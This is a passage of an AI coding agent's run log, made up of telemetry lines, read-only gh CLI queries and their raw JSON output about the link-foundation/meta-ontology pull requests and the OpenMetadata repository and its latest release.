agents.\",\"fork\":false,\"url\":\"https://api.github.com/repos/open-metadata/OpenMetadata\",\"forks_url\":\"https://api.github.com/repos/open-metadata/OpenMetadata/forks\",\"keys_url\":\"https://api.github.com/repos/open-metadata/OpenMetadata/keys{/key_id}\",\"collaborators_url\":\"https://api.github.com/repos/open-metadata/OpenMetadata/collaborators{/collaborator}\",\"teams_url\":\"https://api.github.com/repos/open-metadata/OpenMetadata/teams\",\"hooks_url\":\"https://api.github.com/repos/open-metadata/OpenMetadata/hooks\",\"issue_events_url\":\"https://api.github.\n[2026-07-12T04:02:59.764Z] [INFO] [... telemetry preview truncated ...] mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:02:59.762Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:59.764Z] [INFO] 2026-07-12T04:02:59.762444Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-f948e03b-3e2d-4bb1-af52-f13ba112e15e duration_ms=740 success=true arguments_length=144 output_length=2086 output_line_count=7 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:02:59.762Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:59.764Z] [INFO] \n[2026-07-12T04:02:59.768Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_17\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc 'gh pr list --repo link-foundation/meta-ontology --state merged --limit 30 --json number,title,mergedAt,url,body'\",\"aggregated_output\":\"[{\\\"body\\\":\\\"## Summary\\\\n\\\\n- Decouple GitHub Pages documentation deployment from package/GitHub release publication.\\\\n- Gate `deploy-docs` on successful `build` for main pushes and manual instant releases, so docs can still publish when package release fails later.\\\\n- Fix the observed `rust-script` release failure under `RUSTFLAGS=-Dwarnings`.\\\\n- Add an issue-3 case study with preserved CI run metadata, compressed failed-run logs, template workflow snapshots, and upstream-template follow-up.\\\\n\\\\nFixes #3\\\\n\\\\n## Reproduction\\\\n\\\\nThe preserved main-branch runs `24979900862` and `24983875003` both showed this sequence:\\\\n\\\\n1. `Build Package` succeeded.\\\\n2. `Auto Release` failed in `Check if version already released or no fragments`.\\\\n3. `Deploy Rust Documentation` was skipped because it depended on release jobs.\\\\n\\\\nThe detailed case study and raw data are in `docs/case-studies/issue-3/`.\\\\n\\\\n## Verification\\\\n\\\\n- `cargo fmt --check`\\\\n- `cargo test --all-features --verbose`\\\\n- `cargo test --doc --verbose`\\\\n- `cargo test --test unit ci_cd::workflow_release::documentation_deploy_is_independent_from_release_publication`\\\\n- `cargo clippy --all-targets --all-features`\\\\n- `rust-script scripts/check-file-size.rs`\\\\n- `RUSTFLAGS=-Dwarnings HAS_FRAGMENTS=true rust-script scripts/check-release-needed.rs`\\\\n- `cargo build --release --verbose`\\\\n- `cargo package --list --allow-dirty`\\\\n\\\\n## Template Follow-Up\\\\n\\\\nThe Rust CI/CD template has the same `deploy-docs` dependency issue. I filed:\\\\n\\\\nhttps://github.com/link-foundation/rust-ai-driven-development-pipeline-template/issues/38\\\\n\\\",\\\"mergedAt\\\":\\\"2026-04-27T08:59:27Z\\\",\\\"number\\\":4,\\\"title\\\":\\\"Fix GitHub Pages docs deployment independence\\\",\\\"url\\\":\\\"https://github.com/link-foundation/meta-ontology/pull/4\\\"},{\\\"body\\\":\\\"## Summary\\\\n\\\\nFirst prototype (MVP) of the meta-ontology project, addressing\\\\n[issue #1](https://github.com/link-foundation/meta-ontology/issues/1).\\\\nThe repository graduates from the Rust template into a real,\\\\nself-describing, lino-stored meta-ontology.\\\\n\\\\nWhat is shipped end-to-end in this PR:\\\\n\\\\n- **Library** (`src/`) with `Ontology`, `Concept`, `Definition`,\\\\n  `Mapping` types, a `data/` loader using\\\\n  [`links-notation`](https://github.com/link-foundation/links-notation),\\\\n  and a Markdown-aware word scanner.\\\\n- **CLI** (`meta-ontology`) using\\\\n  [`lino-arguments`](https://github.com/link-foundation/lino-arguments),\\\\n  with subcommands `list`, `show `, `check-words `,\\\\n  `langs`.\\\\n- **Seed data** in lino format:\\\\n  - 65 NSM semantic primes (Goddard & Wierzbicka chart v19, 2017).\\\\n  - ~25 self-referential lino primes (`link`, `thing`, `concept`,\\\\n    `class`, `property`, `entity`, `set`, \u2026) \u2014 graph-shaped, with at\\\\n    least one explicit cycle (`thing \u2192 concept \u2192 thing`, asserted in\\\\n    a test).\\\\n  - Cross-ontology mappings to Schema.org, OWL/RDF, SUMO, Wikidata.\\\\n  - English exponents (full); Spanish and Russian seeded.\\\\n  - Allow-list (`data/allowlist*.lino`) for proper nouns, acronyms,\\\\n    and common English function words.\\\\n- **CI/CD coverage check** \u2014 new `Ontology Word Coverage` workflow\\\\n  step runs `meta-ontology check-words README.md` and fails on any\\\\n  unknown word, satisfying the issue's \\\\\\\"block PR merging\\\\\\\" requirement.\\\\n- **Documentation**:\\\\n  - `REQUIREMENTS.md` \u2014 RFC-2119 numbered requirement list.\\\\n  - `ROADMAP.md` \u2014 five milestones from MVP through 1.0.\\\\n  - `docs/plan/` \u2014 per-slice implementation instructions.\\\\n  - `docs/case-studies/issue-1/` \u2014 deep analysis with online research\\\\n    notes (NSM, popular ontologies, link-foundation crates).\\\\n- **Renamed package** from `example-sum-package-name` to\\\\n  `meta-ontology`; license stays `Unlicense` (public domain).\\\\n- **Changelog fragment** for the release pipeline.\\\\n\\\\n## Deferred (with a plan)\\\\n\\\\nThe issue itself says \\\\\\\"If everything will not fit to the first working\\\\nsession, yet please try to make as much as possible from the first go.\\\\\\\"\\\\nThe following are scoped in `ROADMAP.md`:\\\\n\\\\n- HTTP microservice (M3) \u2014 `axum`-based, content-negotiated JSON / lino.\\\\n- WASM + React.js GitHub Pages app (M4) \u2014 `wasm-pack` + Vite + Cytoscape.\\\\n- Multilingual exponents for the remaining 17 of the top-20 languages (M2).\\\\n- Full repo-wide word coverage (M1) \u2014 currently the CI step scans\\\\n  `README.md` to keep the bar achievable today; expanding to the whole\\\\n  repo is a tracked task in M1.\\\\n\\\\n## Test plan\\\\n\\\\n- [x] `cargo build` and `cargo build --release`\\\\n- [x] `cargo fmt --all -- --check`\\\\n- [x] `RUSTFLAGS=-Dwarnings cargo clippy --all-targets --all-features`\\\\n- [x] `cargo test` \u2014 30 tests pass (9 lib unit + 17 unit + 4 integration)\\\\n- [x] `cargo run --example basic_usage` \u2014 prints concepts and walks a\\\\n      cycle\\\\n- [x] `cargo run -- list` / `show thing` / `check-words README.md` /\\\\n      `langs` \u2014 all behave as documented\\\\n- [x] `rust-script scripts/check-file-size.rs` \u2014 passes\\\\n- [x] CI step locally: `cargo run --bin meta-ontology -- check-words README.md`\\\\n      exits 0 on the new README\\\\n\\\\n## Files of note\\\\n\\\\n- `REQUIREMENTS.md`, `ROADMAP.md`, `docs/plan/*.md`,\\\\n  `docs/case-studies/issue-1/*.md`\\\\n- `src/{lib,ontology,loader,words,main}.rs`\\\\n- `data/primes/nsm.lino`, `data/concepts/core.lino`,\\\\n  `data/concepts/mappings.lino`, `data/primes/exponents/{en,es,ru}.lino`,\\\\n  `data/allowlist*.lino`\\\\n- `.github/workflows/release.yml` (new `Ontology Word Coverage` job)\\\\n\\\\nFixes #1\\\",\\\"mergedAt\\\":\\\"2026-04-27T08:10:58Z\\\",\\\"number\\\":2,\\\"title\\\":\\\"First prototype (MVP) of meta-ontology\\\",\\\"url\\\":\\\"https://github.com/link-foundation/meta-ontology/pull/2\\\"}]\\n\",\"exit_code\":0,\"status\":\"completed\"}}\n[2026-07-12T04:02:59.768Z] [INFO] \n[2026-07-12T04:02:59.772Z] [INFO] 2026-07-12T04:02:59.769808Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:02:59.772Z] [INFO] \n[2026-07-12T04:02:59.776Z] [INFO] 2026-07-12T04:02:59.774776Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-28aecdb0-046c-4245-af97-933c2101b2bf arguments={\"cmd\":\"gh api repos/open-metadata/OpenMetadata/releases/latest\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":30000,\"max_output_tokens\":30000} duration_ms=796 success=true output=Chunk ID: 1750f0\n[2026-07-12T04:02:59.776Z] [INFO] Wall time: 0.5373 seconds\n[2026-07-12T04:02:59.776Z] [INFO] Process exited with code 0\n[2026-07-12T04:02:59.776Z] [INFO] Original token count: 8504\n[2026-07-12T04:02:59.776Z] [INFO] Output:\n[2026-07-12T04:02:59.776Z] [INFO] {\"url\":\"https://api.github.com/repos/open-metadata/OpenMetadata/releases/345681790\",\"assets_url\":\"https://api.github.com/repos/open-metadata/OpenMetadata/releases/345681790/assets\",\"upload_url\":\"https://uploads.github.com/repos/open-metadata/OpenMetadata/releases/345681790/assets{?name,label}\",\"html_url\":\"https://github.com/open-metadata/OpenMetadata/releases/tag/1.13.1-release\",\"id\":345681790,\"author\":{\"login\":\"collate-release-automations[bot]\",\"id\":168888702,\"node_id\":\"BOT_kgDOChEJfg\",\"avatar_url\":\"https://avatars.githubusercontent.com/in/891129?v=4\",\"gravatar_id\":\"\",\"url\":\"https://api.github.com/users/collate-release-automations%5Bbot%5D\",\"html_url\":\"https://github.com/apps/collate-release-automations\",\"followers_url\":\"https://api.github.com/users/collate-release-automations%5Bbot%5D/followers\",\"following_url\":\"https://api.github.com/users/collate-release-automations%5Bbot%5D/following{/other_user}\",\"gists_url\":\"https://api.github.com/users/collate-release-automations%5Bbot%5D/gists{/gist_id}\",\"starred_url\":\"https://api.github.com/users/collate-release-automations%5Bbot%5D/starred{/owner}{/repo}\",\"subscriptions_url\":\"https://api.github.com/users/collate-release-automations%5Bbot%5D/subscriptions\",\"organizations_url\":\"https://api.github.com/users/collate-release-automations%5Bbot%5D/orgs\",\"repos_url\":\"https://api.github.com/users/collate-release-automations%5Bbot%5D/repos\",\"events_url\":\"https://api.github.com/users/collate-release-automations%5Bbot%5D/events{/privacy}\",\"received_events_url\":\"https://api.github.com/users/collate-release-automations%5Bbot%5D/received_events\",\"type\":\"Bot\",\"user_view_type\":\"public\",\"site_admin\":false},\"node_id\":\"RE_kwDOF1l8-M4Umq9-\",\"tag_name\":\"1.13.1-release\",\"target_commitish\":\"1.13.1\",\"name\":\"1.13.1-release\",\"draft\":false,\"immutable\":false,\"prerelease\":false,\"created_at\":\"2026-06-27T05:15:42Z\",\"updated_at\":\"2026-06-29T08:21:35Z\",\"published_at\":\"2026-06-27T11:35:50Z\",\"assets\":\n[2026-07-12T04:02:59.776Z] [INFO] [... telemetry preview truncated ...] mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:02:59.774Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:59.776Z] [INFO] 2026-07-12T04:02:59.774826Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-28aecdb0-046c-4245-af97-933c2101b2bf duration_ms=796 success=true arguments_length=160 output_length=2086 output_line_count=7 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:02:59.774Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:59.776Z] [INFO] \n[2026-07-12T04:02:59.801Z] [INFO] 2026-07-12T04:02:59.799218Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:02:59.801Z] [INFO] \n[2026-07-12T04:02:59.802Z] [INFO] 2026-07-12T04:02:59.800402Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:02:59.802Z] [INFO] \n[2026-07-12T04:02:59.805Z] [INFO] 2026-07-12T04:02:59.804889Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:02:59.805Z] [INFO] \n[2026-07-12T04:02:59.864Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_23\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc 'gh api repos/open-metadata/OpenMetadata'\",\"aggregated_output\":\"{\\\"id\\\":391740664,\\\"node_id\\\":\\\"MDEwOlJlcG9zaXRvcnkzOTE3NDA2NjQ=\\\",\\\"name\\\":\\\"OpenMetadata\\\",\\\"full_name\\\":\\\"open-metadata/OpenMetadata\\\",\\\"private\\\":false,\\\"owner\\\":{\\\"login\\\":\\\"open-metadata\\\",\\\"id\\\":86132257,\\\"node_id\\\":\\\"MDEyOk9yZ2FuaXphdGlvbjg2MTMyMjU3\\\",\\\"avatar_url\\\":\\\"https://avatars.githubusercontent.com/u/86132257?v=4\\\",\\\"gravatar_id\\\":\\\"\\\",\\\"url\\\":\\\"https://api.github.com/users/open-metadata\\\",\\\"html_url\\\":\\\"https://github.com/open-metadata\\\",\\\"followers_url\\\":\\\"https://api.github.com/users/open-metadata/followers\\\",\\\"following_url\\\":\\\"https://api.github.com/users/open-metadata/following{/other_user}\\\",\\\"gists_url\\\":\\\"https://api.github.com/users/open-metadata/gists{/gist_id}\\\",\\\"starred_url\\\":\\\"https://api.github.com/users/open-metadata/starred{/owner}{/repo}\\\",\\\"subscriptions_url\\\":\\\"https://api.github.com/users/open-metadata/subscriptions\\\",\\\"organizations_url\\\":\\\"https://api.github.com/users/open-metadata/orgs\\\",\\\"repos_url\\\":\\\"https://api.github.com/users/open-metadata/repos\\\",\\\"events_url\\\":\\\"https://api.github.com/users/open-metadata/events{/privacy}\\\",\\\"received_events_url\\\":\\\"https://api.github.com/users/open-metadata/received_events\\\",\\\"type\\\":\\\"Organization\\\",\\\"user_view_type\\\":\\\"public\\\",\\\"site_admin\\\":false},\\\"html_url\\\":\\\"https://github.com/open-metadata/OpenMetadata\\\",\\\"description\\\":\\\"The Open Context Layer for Data and AI ,  OpenMetadata is the open platform for building trusted data context and business semantics for humans, AI assistants, and agents.\\\",\\\"fork\\\":false,\\\"url\\\":\\\"https://api.github.com/repos/open-metadata/OpenMetadata\\\",\\\"forks_url\\\":\\\"https://api.github.com/repos/open-metadata/OpenMetadata/forks\\\",\\\"keys_url\\\":\\\"https://api.github.com/repos/open-metadata/OpenMetadata/keys{/key_id}\\\",\\\"collaborators_url\\\":\\\"https://api.github.com/repos/open-metadata/OpenMetadata/collaborators{/collaborator}\\\",\\\"teams_url\\\":\\\"https://api.github.com/repos/open-metadata/OpenMetadata/teams\\\",\\\"hooks_url\\\":\\\"https://api.github.com/repos/open-metadata/OpenMetadata/hooks\\\",\\\"issue_events_url\\\":\\\"https://api.github.com/repos/open-metadata/OpenMetadata/issues/events{/number}\\\",\\\"events_url\\\":\\\"https://api.github.com/repos/open-metadata/OpenMetadata/events\\\",\\\"assignees_url\\\":\\\"https://api.github.com/repos/open-metadata/OpenMetadata/assignees{/user}\\\",\\\"branches_url\\\":\\\"https://api.github.com/repos/open-metadata/OpenMetadata/branches{/branch}\\\",\\\"tags_url\\\":\\\"https://api.github.com/repos/open-metadata/OpenMetadata/tags\\\",\\\"blobs_url\\\":\\\"https://api.github.com/repos/open-metadata/OpenMetadata/git/blobs{/sha}\\\",\\\"git_tags_url\\\":\\\"https://api.github.com/repos/open-metadata/OpenMetadata/git/tags{/sha}\\\",\\\"git_refs_url\\\":\\\"https://api.github.com/repos/open-metadata/OpenMetadata/git/refs{/sha}\\\",\\\"trees_url\\\":\\\"https://api.github.com/repos/open-metadata/OpenMetadata/git/trees{/sha}\\\",\\\"statuses_url\\\":\\\"https://api.github.com/repos/open-metadata/OpenMetadata/statuses/{sha}\\\",\\\"languages_url\\\":\\\"https://api.github.com/repos/open-metadata/OpenMetadata/languages\\\",\\\"stargazers_url\\\":\\\"https://api.github.com/repos/open-metadata/OpenMetadata/stargazers\\\",\\\"contributors_url\\\":\\\"https://api.github.com/repos/open-metadata/OpenMetadata/contributors\\\",\\\"subscribers_url\\\":\\\"https://api.github.com/repos/open-metadata/OpenMetadata/subscribers\\\",\\\"subscription_url\\\":\\\"https://api.github.com/repos/open-metadata/OpenMetadata/subscription\\\",\\\"commits_url\\\":\\\"https://api.github.com/repos/open-metadata/OpenMetadata/commits{/sha}\\\",\\\"git_commits_url\\\":\\\"https://api.github.com/repos/open-metadata/OpenMetadata/git/commits{/sha}\\\",\\\"comments_url\\\":\\\"https://api.github.com/repos/open-metadata/OpenMetadata/comments{/number}\\\",\\\"issue_comment_url\\\":\\\"https://api.github.com/repos/open-metadata/OpenMetadata/issues/comments{/number}\\\",\\\"contents_url\\\":\\\"https://api.github.com/repos/open-metadata/OpenMetadata/contents/{+path}\\\",\\\"compare_url\\\":\\\"https://api.github.com/repos/open-metadata/OpenMetadata/compare/{base}...{head}\\\",\\\"merges_url\\\":\\\"https://api.github.com/repos/open-metadata/OpenMetadata/merges\\\",\\\"archive_url\\\":\\\"https://api.github.com/repos/open-metadata/OpenMetadata/{archive_format}{/ref}\\\",\\\"downloads_url\\\":\\\"https://api.github.com/repos/open-metadata/OpenMetadata/downloads\\\",\\\"issues_url\\\":\\\"https://api.github.com/repos/open-metadata/OpenMetadata/issues{/number}\\\",\\\"pulls_url\\\":\\\"https://api.github.com/repos/open-metadata/OpenMetadata/pulls{/number}\\\",\\\"milestones_url\\\":\\\"https://api.github.com/repos/open-metadata/OpenMetadata/milestones{/number}\\\",\\\"notifications_url\\\":\\\"https://api.github.com/repos/open-metadata/OpenMetadata/notifications{?since,all,participating}\\\",\\\"labels_url\\\":\\\"https://api.github.com/repos/open-metadata/OpenMetadata/labels{/name}\\\",\\\"releases_url\\\":\\\"https://api.github.com/repos/open-metadata/OpenMetadata/releases{/id}\\\",\\\"deployments_url\\\":\\\"https://api.github.com/repos/open-metadata/OpenMetadata/deployments\\\",\\\"created_at\\\":\\\"2021-08-01T21:17:17Z\\\",\\\"updated_at\\\":\\\"2026-07-12T01:44:51Z\\\",\\\"pushed_at\\\":\\\"2026-07-11T21:48:37Z\\\",\\\"git_url\\\":\\\"git://github.com/open-metadata/OpenMetadata.git\\\",\\\"ssh_url\\\":\\\"git@github.com:open-metadata/OpenMetadata.git\\\",\\\"clone_url\\\":\\\"https://github.com/open-metadata/OpenMetadata.git\\\",\\\"svn_url\\\":\\\"https://github.com/open-metadata/OpenMetadata\\\",\\\"homepage\\\":\\\"https://open-metadata.org\\\",\\\"size\\\":2906853,\\\"stargazers_count\\\":14454,\\\"watchers_count\\\":14454,\\\"language\\\":\\\"TypeScript\\\",\\\"has_issues\\\":true,\\\"has_projects\\\":true,\\\"has_downloads\\\":true,\\\"has_wiki\\\":true,\\\"has_pages\\\":false,\\\"has_discussions\\\":true,\\\"forks_count\\\":2225,\\\"mirror_url\\\":null,\\\"archived\\\":false,\\\"disabled\\\":false,\\\"open_issues_count\\\":979,\\\"license\\\":{\\\"key\\\":\\\"apache-2.0\\\",\\\"name\\\":\\\"Apache License 2.0\\\",\\\"spdx_id\\\":\\\"Apache-2.0\\\",\\\"url\\\":\\\"https://api.github.com/licenses/apache-2.0\\\",\\\"node_id\\\":\\\"MDc6TGljZW5zZTI=\\\"},\\\"allow_forking\\\":true,\\\"is_template\\\":false,\\\"web_commit_signoff_required\\\":false,\\\"has_pull_requests\\\":true,\\\"pull_request_creation_policy\\\":\\\"all\\\",\\\"topics\\\":[\\\"context\\\",\\\"context-layer\\\",\\\"data-catalog\\\",\\\"data-collaboration\\\",\\\"data-contracts\\\",\\\"data-discovery\\\",\\\"data-governance\\\",\\\"data-lineage\\\",\\\"data-observability\\\",\\\"data-profiling\\\",\\\"data-quality\\\",\\\"data-quality-checks\\\",\\\"datadiscovery\\\",\\\"dataengineering\\\",\\\"dataquality\\\",\\\"mcp\\\",\\\"mcp-server\\\",\\\"metadata\\\",\\\"metadata-management\\\",\\\"semantics\\\"],\\\"visibility\\\":\\\"public\\\",\\\"forks\\\":2225,\\\"open_issues\\\":979,\\\"watchers\\\":14454,\\\"default_branch\\\":\\\"main\\\",\\\"permissions\\\":{\\\"admin\\\":false,\\\"maintain\\\":false,\\\"push\\\":false,\\\"triage\\\":false,\\\"pull\\\":true},\\\"temp_clone_token\\\":\\\"\\\",\\\"custom_properties\\\":{},\\\"organization\\\":{\\\"login\\\":\\\"open-metadata\\\",\\\"id\\\":86132257,\\\"node_id\\\":\\\"MDEyOk9yZ2FuaXphdGlvbjg2MTMyMjU3\\\",\\\"avatar_url\\\":\\\"https://avatars.githubusercontent.com/u/86132257?v=4\\\",\\\"gravatar_id\\\":\\\"\\\",\\\"url\\\":\\\"https://api.github.com/users/open-metadata\\\",\\\"html_url\\\":\\\"https://github.com/open-metadata\\\",\\\"followers_url\\\":\\\"https://api.github.com/users/open-metadata/followers\\\",\\\"following_url\\\":\\\"https://api.github.com/users/open-metadata/following{/other_user}\\\",\\\"gists_url\\\":\\\"https://api.github.com/users/open-metadata/gists{/gist_id}\\\",\\\"starred_url\\\":\\\"https://api.github.com/users/open-metadata/starred{/owner}{/repo}\\\",\\\"subscriptions_url\\\":\\\"https://api.github.com/users/open-metadata/subscriptions\\\",\\\"organizations_url\\\":\\\"https://api.github.com/users/open-metadata/orgs\\\",\\\"repos_url\\\":\\\"https://api.github.com/users/open-metadata/repos\\\",\\\"events_url\\\":\\\"https://api.github.com/users/open-metadata/events{/privacy}\\\",\\\"received_events_url\\\":\\\"https://api.github.com/users/open-metadata/received_events\\\",\\\"type\\\":\\\"Organization\\\",\\\"user_view_type\\\":\\\"public\\\",\\\"site_admin\\\":false},\\\"network_count\\\":2225,\\\"subscribers_count\\\":55}\",\"exit_code\":0,\"status\":\"completed\"}}\n[2026-07-12T04:02:59.864Z] [INFO] \n[2026-07-12T04:02:59.875Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_22\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc 'gh api repos/open-metadata/OpenMetadata/releases/latest'\",\"aggregated_output\":\"{\\\"url\\\":\\\"https://api.github.com/repos/open-metadata/OpenMetadata/releases/345681790\\\",\\\"assets_url\\\":\\\"https://api.github.com/repos/open-metadata/OpenMetadata/releases/345681790/assets\\\",\\\"upload_url\\\":\\\"https://uploads.github.com/repos/open-metadata/OpenMetadata/releases/345681790/assets{?name,label}\\\",\\\"html_url\\\":\\\"https://github.com/open-metadata/OpenMetadata/releases/tag/1.13.1-release\\\",\\\"id\\\":345681790,\\\"author\\\":{\\\"login\\\":\\\"collate-release-automations[bot]\\\",\\\"id\\\":168888702,\\\"node_id\\\":\\\"BOT_kgDOChEJfg\\\",\\\"avatar_url\\\":\\\"https://avatars.githubusercontent.com/in/891129?v=4\\\",\\\"gravatar_id\\\":\\\"\\\",\\\"url\\\":\\\"https://api.github.com/users/collate-release-automations%5Bbot%5D\\\",\\\"html_url\\\":\\\"https://github.com/apps/collate-release-automations\\\",\\\"followers_url\\\":\\\"https://api.github.com/users/collate-release-automations%5Bbot%5D/followers\\\",\\\"following_url\\\":\\\"https://api.github.com/users/collate-release-automations%5Bbot%5D/following{/other_user}\\\",\\\"gists_url\\\":\\\"https://api.github.com/users/collate-release-automations%5Bbot%5D/gists{/gist_id}\\\",\\\"starred_url\\\":\\\"https://api.github.com/users/collate-release-automations%5Bbot%5D/starred{/owner}{/repo}\\\",\\\"subscriptions_url\\\":\\\"https://api.github.com/users/collate-release-automations%5Bbot%5D/subscriptions\\\",\\\"organizations_url\\\":\\\"https://api.github.com/users/collate-release-automations%5Bbot%5D/orgs\\\",\\\"repos_url\\\":\\\"https://api.github.com/users/collate-release-automations%5Bbot%5D/repos\\\",\\\"events_url\\\":\\\"https://api.github.com/users/collate-release-automations%5Bbot%5D/events{/privacy}\\\",\\\"received_events_url\\\":\\\"https://api.github.com/users/collate-release-automations%5Bbot%5D/received_events\\\",\\\"type\\\":\\\"Bot\\\",\\\"user_view_type\\\":\\\"public\\\",\\\"site_admin\\\":false},\\\"node_id\\\":\\\"RE_kwDOF1l8-M4Umq9-\\\",\\\"tag_name\\\":\\\"1.13.1-release\\\",\\\"target_commitish\\\":\\\"1.13.1\\\",\\\"name\\\":\\\"1.13.1-release\\\",\\\"draft\\\":false,\\\"immutable\\\":false,\\\"prerelease\\\":false,\\\"created_at\\\":\\\"2026-06-27T05:15:42Z\\\",\\\"updated_at\\\":\\\"2026-06-29T08:21:35Z\\\",\\\"published_at\\\":\\\"2026-06-27T11:35:50Z\\\",\\\"assets\\\":[{\\\"url\\\":\\\"https://api.github.com/repos/open-metadata/OpenMetadata/releases/assets/459449979\\\",\\\"id\\\":459449979,\\\"node_id\\\":\\\"RA_kwDOF1l8-M4bYqZ7\\\",\\\"name\\\":\\\"docker-compose-ingestion.yml\\\",\\\"label\\\":\\\"\\\",\\\"uploader\\\":{\\\"login\\\":\\\"collate-release-automations[bot]\\\",\\\"id\\\":168888702,\\\"node_id\\\":\\\"BOT_kgDOChEJfg\\\",\\\"avatar_url\\\":\\\"https://avatars.githubusercontent.com/in/891129?v=4\\\",\\\"gravatar_id\\\":\\\"\\\",\\\"url\\\":\\\"https://api.github.com/users/collate-release-automations%5Bbot%5D\\\",\\\"html_url\\\":\\\"https://github.com/apps/collate-release-automations\\\",\\\"followers_url\\\":\\\"https://api.github.com/users/collate-release-automations%5Bbot%5D/followers\\\",\\\"following_url\\\":\\\"https://api.github.com/users/collate-release-automations%5Bbot%5D/following{/other_user}\\\",\\\"gists_url\\\":\\\"https://api.github.com/users/collate-release-automations%5Bbot%5D/gists{/gist_id}\\\",\\\"starred_url\\\":\\\"https://api.github.com/users/collate-release-automations%5Bbot%5D/starred{/owner}{/repo}\\\",\\\"subscriptions_url\\\":\\\"https://api.github.com/users/collate-release-automations%5Bbot%5D/subscriptions\\\",\\\"organizations_url\\\":\\\"https://api.github.com/users/collate-release-automations%5Bbot%5D/orgs\\\",\\\"repos_url\\\":\\\"https://api.github.com/users/collate-release-automations%5Bbot%5D/repos\\\",\\\"events_url\\\":\\\"https://api.github.com/users/collate-release-automations%5Bbot%5D/events{/privacy}\\\",\\\"received_events_url\\\":\\\"https://api.github.com/users/collate-release-automations%5Bbot%5D/received_events\\\",\\\"type\\\":\\\"Bot\\\",\\\"user_view_type\\\":\\\"public\\\",\\\"site_admin\\\":false},\\\"content_type\\\":\\\"text/vnd.yaml\\\",\\\"state\\\":\\\"uploaded\\\",\\\"size\\\":2354,\\\"digest\\\":\\\"sha256:5b5eb8c76e69cf290195c7ebd3fdcc38c773d294b6454abd47b099ca4be8a420\\\",\\\"download_count\\\":49,\\\"created_at\\\":\\\"2026-06-27T11:35:54Z\\\",\\\"updated_at\\\":\\\"2026-06-27T11:35:54Z\\\",\\\"browser_download_url\\\":\\\"https://github.com/open-metadata/OpenMetadata/releases/download/1.13.1-release/docker-compose-ingestion.yml\\\"},{\\\"url\\\":\\\"https://api.github.com/repos/open-metadata/OpenMetadata/releases/assets/459449971\\\",\\\"id\\\":459449971,\\\"node_id\\\":\\\"RA_kwDOF1l8-M4bYqZz\\\",\\\"name\\\":\\\"docker-compose-openmetadata.yml\\\",\\\"label\\\":\\\"\\\",\\\"uploader\\\":{\\\"login\\\":\\\"collate-release-automations[bot]\\\",\\\"id\\\":168888702,\\\"node_id\\\":\\\"BOT_kgDOChEJfg\\\",\\\"avatar_url\\\":\\\"https://avatars.githubusercontent.com/in/891129?v=4\\\",\\\"gravatar_id\\\":\\\"\\\",\\\"url\\\":\\\"https://api.github.com/users/collate-release-automations%5Bbot%5D\\\",\\\"html_url\\\":\\\"https://github.com/apps/collate-release-automations\\\",\\\"followers_url\\\":\\\"https://api.github.com/users/collate-release-automations%5Bbot%5D/followers\\\",\\\"following_url\\\":\\\"https://api.github.com/users/collate-release-automations%5Bbot%5D/following{/other_user}\\\",\\\"gists_url\\\":\\\"https://api.github.com/users/collate-release-automations%5Bbot%5D/gists{/gist_id}\\\",\\\"starred_url\\\":\\\"https://api.github.com/users/collate-release-automations%5Bbot%5D/starred{/owner}{/repo}\\\",\\\"subscriptions_url\\\":\\\"https://api.github.com/users/collate-release-automations%5Bbot%5D/subscriptions\\\",\\\"organizations_url\\\":\\\"https://api.github.com/users/collate-release-automations%5Bbot%5D/orgs\\\",\\\"repos_url\\\":\\\"https://api.github.com/users/collate-release-automations%5Bbot%5D/repos\\\",\\\"events_url\\\":\\\"https://api.github.com/users/collate-release-automations%5Bbot%5D/events{/privacy}\\\",\\\"received_events_url\\\":\\\"https://api.github.com/users/collate-release-automations%5Bbot%5D/received_events\\\",\\\"type\\\":\\\"Bot\\\",\\\"user_view_type\\\":\\\"public\\\",\\\"site_admin\\\":false},\\\"content_type\\\":\\\"text/vnd.yaml\\\",\\\"state\\\":\\\"uploaded\\\",\\\"size\\\":27222,\\\"digest\\\":\\\"sha256:7b834d55d093c64078d2c41707366c9f07f44564fd66f7b76037d99c67f42068\\\",\\\"download_count\\\":120,\\\"created_at\\\":\\\"2026-06-27T11:35:53Z\\\",\\\"updated_at\\\":\\\"2026-06-27T11:35:53Z\\\",\\\"browser_